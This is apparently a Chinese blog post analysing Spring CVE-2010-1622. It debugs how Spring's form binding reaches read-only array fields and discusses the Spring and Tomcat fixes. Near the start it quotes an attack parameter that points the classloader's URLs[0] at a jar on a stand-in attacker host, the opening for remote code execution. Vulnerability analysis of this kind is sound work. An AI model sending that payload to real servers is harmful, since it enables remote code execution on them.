Spring-Cve-2010-1622漏洞分析

什么是Cve-2010-1622?

Spring漏洞,官方发布的漏洞http://www.springsource.com/security/cve-2010-1622

一些参考的分析文章:

文章一:http://blog.o0o.nu/2010/06/cve-2010-1622.html

文章二:http://www.inbreak.net/archives/377

 

分析:

笔者先看了下Spring官方的漏洞说明,这里描述确实不清楚,具体怎么修复的也没有提到。

然后又先后看了后面2篇文章,都颇具几分道理,但发觉心中的疑惑还是不解。这里先给大家概括下后面2篇分析文章:

 

文章一提到Java beanAPI Introspector. getBeanInfo 会获取到该POJO的基类Object.class的属性class,进一步可以获取到Class.class的诸多属性,包括classloaderclassLoader中有个属性叫URLs[0].  另外Spring提供了可以从页面的表单直接绑定到后台bean的属性的机制,所以有一种可能就是可以从前台提交参数 :

class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

 

经过Spring绑定URLs[0]classloader后,刚好Jasper's TldLocationsCache 会从WebappClassLoader里面读取url参数并用来解析TLD文件。如果spring-exploit.jar里面包含修改后的spring-form.tld,黑客的目的就达到了,可以这里面引用的tag文件里做一些远程代码执行的事。

 

文章二提到的拒绝访问中提到可以修改class.classLoader.delegate属性,来达到目地,实际上没人会把catalina.jar放入/WEB-INF/lib/,这种本身就是有问题的,网上的所谓设置delegatetrue的解决办法本身就是一种以错治错的方法,所以这种攻击对于正常的tomcat部署是不会发生的。

文章二提到的远程代码执行和文章一差不多,都是通过spring的自动绑定前台form的表单字段到后台的bean的属性,但是关于哪些属性可以绑定这块不太对,比如提到classclassloader都可以绑,其实是有问题的。

 

笔者分析完这两篇文章后,存在如下几个疑惑:

1.     怎样的属性可以被spring自动绑定?是不是需要包含gettersetter方法的属性呢。因为出于安全考虑,这个是标准的做法。

2.     Objectclass属性, ClassclassLoader属性其实都是不存在的,只存在getter方法。对应的属性是通过native获取的。 ClassLoaderURLs[0]属性其实也只有getter方法,这个属性是怎么绑定进去的?

3.     Spring官方中提到3.0.3中已经修复该bug,修复的方法是?

4.     Spring在什么时候调用Java beanAPI Introspector. getBeanInfo,以及怎样去实现自动绑定的?

 

 

为此,笔者准备了一个测试例子:

 

后台bean类:

package com.bingbing;

 

public class UserInfo {

      

       /***

        * id ,包含getset方法

        */

       private String id ;

      

       /**

        * number,只有set方法

        */

       private String number ;

      

       /**

        * info对象,模拟Class对象,里面的idnumber模拟classloader对象。这样做是因为classloader对象已经被spring过滤调了,后面会有解析

        * 只有get方法

        */

       private StudentInfo studentInfo =new StudentInfo();

      

       /**

        * 数组对象,模拟URL[]

        * 只有get方法

        */

       private String names[] = new String[]{"1"};

 

       public String getId() {

              return id;

       }

       public void setId(String id) {

              this.id = id;

       }

       public String getNumber() {

              return number;

       }

       public StudentInfo getStudentInfo() {

              return studentInfo;

       }

       public String[] getNames() {

              return names;

       }     

}

 

StudentInfo只有一个属性idnumber,且含有get,set方法,这里就不贴代码了。

 

处理的controller类:

package com.bingbing;

 

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

 

@Controller

public class ExpTest {

 

       @RequestMapping(value = "expTest.xhtml")

       public void test(UserInfo info)

       {

              System.out.println("id:"+ info.getId());

              System.out.println("number:"+ info.getNumber());

              System.out.println("class:"+ info.getClass());

System.out.println("idnumber:"+ info.getStudentInfo().getIdnumber());

              System.out.println("names[0]:"+ info.getNames()[0]);

              System.out.println("classLoader:"+ info.getClass().getClassLoader());

       }

}

 

然后触发如下请求:

http://localhost:8080/TMS/expTest.xhtml?id=111&name=222&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=999&studentInfo.idnumber=777&names[0]=33333

 

测试结果如下:

id:111

number:null

class:class com.bingbing.UserInfo

idnumber:777

names[0]:33333

classLoader:WebappClassLoader

 

咱们来分析一下:

Id属性因为有getset方法,能够绑定成功无可非议。

Number属性因为没有set方法,没有设置成功,实属正常,符合我们最初的想法。

Class属性也没有设置成功,也属正常,因为class只有get方法,没有set方法。

classLoader属性也没有设置成功,和class属性类似,没有set方法,所以文章二中提到的可以给classclassloader赋值是不准确的。

Idnumber赋值成功,有点奇怪了,因为studentInfo对象只有get方法,他里面的属性却给赋值了。这也是漏洞中为什么classloader中的URL[0]可以赋值的一个原因。

names[0]赋值成功,很奇怪!names[0]是只有get方法的,却赋值成功了,相对于number字段,这里是不是有点字段歧视的味道!

第一个疑惑解了,再往后看。后面的疑惑只要我们弄清楚spring的自动绑定机制就可以整清楚来弄去脉了。

有什么方法可以最快弄清楚里面怎么实现的呢,Debug!

 

先来第一张图:

Spring-Cve-2010-1622漏洞分析_第1张图片

 

 

从这里就可以看出绑定的调用流程,通过解析请求参数,到绑定参数,然后到了BeanWrapperImpl的父类AbstractPropertyAccessorsetPropertyValue方法中。

 

在开始绑定之前,咱们看一下请求参数对了没:

 Spring-Cve-2010-1622漏洞分析_第2张图片

 

再往里面看具体的绑定:

Spring-Cve-2010-1622漏洞分析_第3张图片

 

首先从CachedIntrospectionResults中获取PropertyDescriptor ,再看看CachedIntrospectionResults怎么来的:

【注:上面的this.object是调用getProperty获取的,也就是字段的get方法。这个this.object会设置到CachedIntrospectionResults. 也就是如果this.object是子对象的话,比如studentInfo.idnumber这样的参数,当解析studentInfo时,会把get方法返回的实例传进去,其实内部只是用到了这个返回值的类型,以解析该类字段的属性。这也是为什么Idnumber能够赋值成功的原因。

Spring-Cve-2010-1622漏洞分析_第4张图片

 

这里就是文章二作者提到的 Introspector. getBeanInfo 方法了,检查了下beaninfo的值,里面确实把Object.class的属性都查出来了,这些属性甚至不需要具体的属性字段,只需要一个get方法即可。比如通过getClass方法就可以查出来class这个属性。

 

好了,知道属性从哪里来的了,再看看那个判断:

 Spring-Cve-2010-1622漏洞分析_第5张图片

 

这里大家发现如果没有这个属性或者对应的属性的write方法不存在,这个属性就不会赋值。到这里我们的理解还是对的,只有set方法才会自动绑定。这就是说classclassloader属性是不会自动绑定的。

 

names[0]是怎么赋值成功的呢?

原来springarray有特殊的处理:

Spring-Cve-2010-1622漏洞分析_第6张图片

 

在发现字段属性是数组的时候,准确来说,是发现get方法返回值是数组的时候,就认为是数组类型的字段,大家从上面的截图也可以看出,writeMethod确实为空的。但是,后面的处理就比较怪异了,调用了Array.set(propValue, arrayIndex, convertedValue); 方法,这个方法就直接把get方法返回那个数组对象改了,直接绕过了set方法这个处理。

顺便还看了这个方法的后面处理代码,:

else if (propValue instanceof List) {

              PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(actualName);

      

                    

                                   list.add(convertedValue);

                            }

                     }

                     else if (propValue instanceof Map) {

                            map.put(convertedMapKey, convertedMapValue);

 

也就是说对于Array,List,Map类型的字段,是不需要set方法的,只需要一个get方法就可以自动赋值。这个功能是很强大,但这会不会根本不是开发人员的本意呢!其实这也是远程代码执行的根本原因,也是黑客可以利用的漏洞。

 

咱们再来看看Spring3.0.3对之的修复方法:

CachedIntrospectionResults

Spring-Cve-2010-1622漏洞分析_第7张图片

 

也就是说在利用Introspector. getBeanInfo获取到属性后,过滤掉classloader属性。个人感觉这个修复不专业,相当于只修复了问题的表面,没有修复根本。如果class的其他的某个属性里面有类似的数组,列表和map的字段,刚好这些字段又可以被利用的话,会不会又是另外一个漏洞的产生呢?

 

Tomcat对此也有修复,其中文章二也提到了:

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h

居然在tomcat6.0.28之后的版本,把

public URL[] getURLs() {

        if (repositoryURLs != null) {

            return repositoryURLs;

}

改为了

public URL[] getURLs() {

        if (repositoryURLs != null) {

            return repositoryURLs.clone();

}

还美其名曰:
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

 

Tomcat这个修复也挺有意思的。估计是tomcat的作者意识到repositoryURLs这个字段被spring改了后,出现这个漏洞,觉得自己也脱不了干系,算了,得想个办法不让你spring改,怎么办呢?我给你spring一个拷贝的版本,够绝吧,spring拿了个山寨的版本,改了也没用,我tomcat还是照旧用我自己真正的这个repositoryURLs

 

总的说来,这个bug的产生一方面说明spring的自动绑定功能确实很强大,但也说明了其可以利用的漏洞。虽然springtomcat都相继发布修复办法,但个人感觉还是没有“治根治本”。

Spring可以考虑修改CachedIntrospectionResults类,使用Introspector

BeanInfo getBeanInfo(Class beanClass, Class stopClass)方法指定stopclassObject.Class,这样可以让Object类里面的属性不再暴露出来,提高了安全性。从Spring框架上来说,Object的这些东西是不让业务修改的。

当然,如果Spring重新审视一下为什么需要把Array,List,map的绑定绕过set的限制,因为不管是业务类还是JDK相关的类,可以让外面修改的都会提供set方法或者接口,如果没有可以设置的接口,这种走后门的设置方法还是很不安全的。如果能够不绕过这个限制,那就真的安全了。

 

 

你可能感兴趣的:(spring)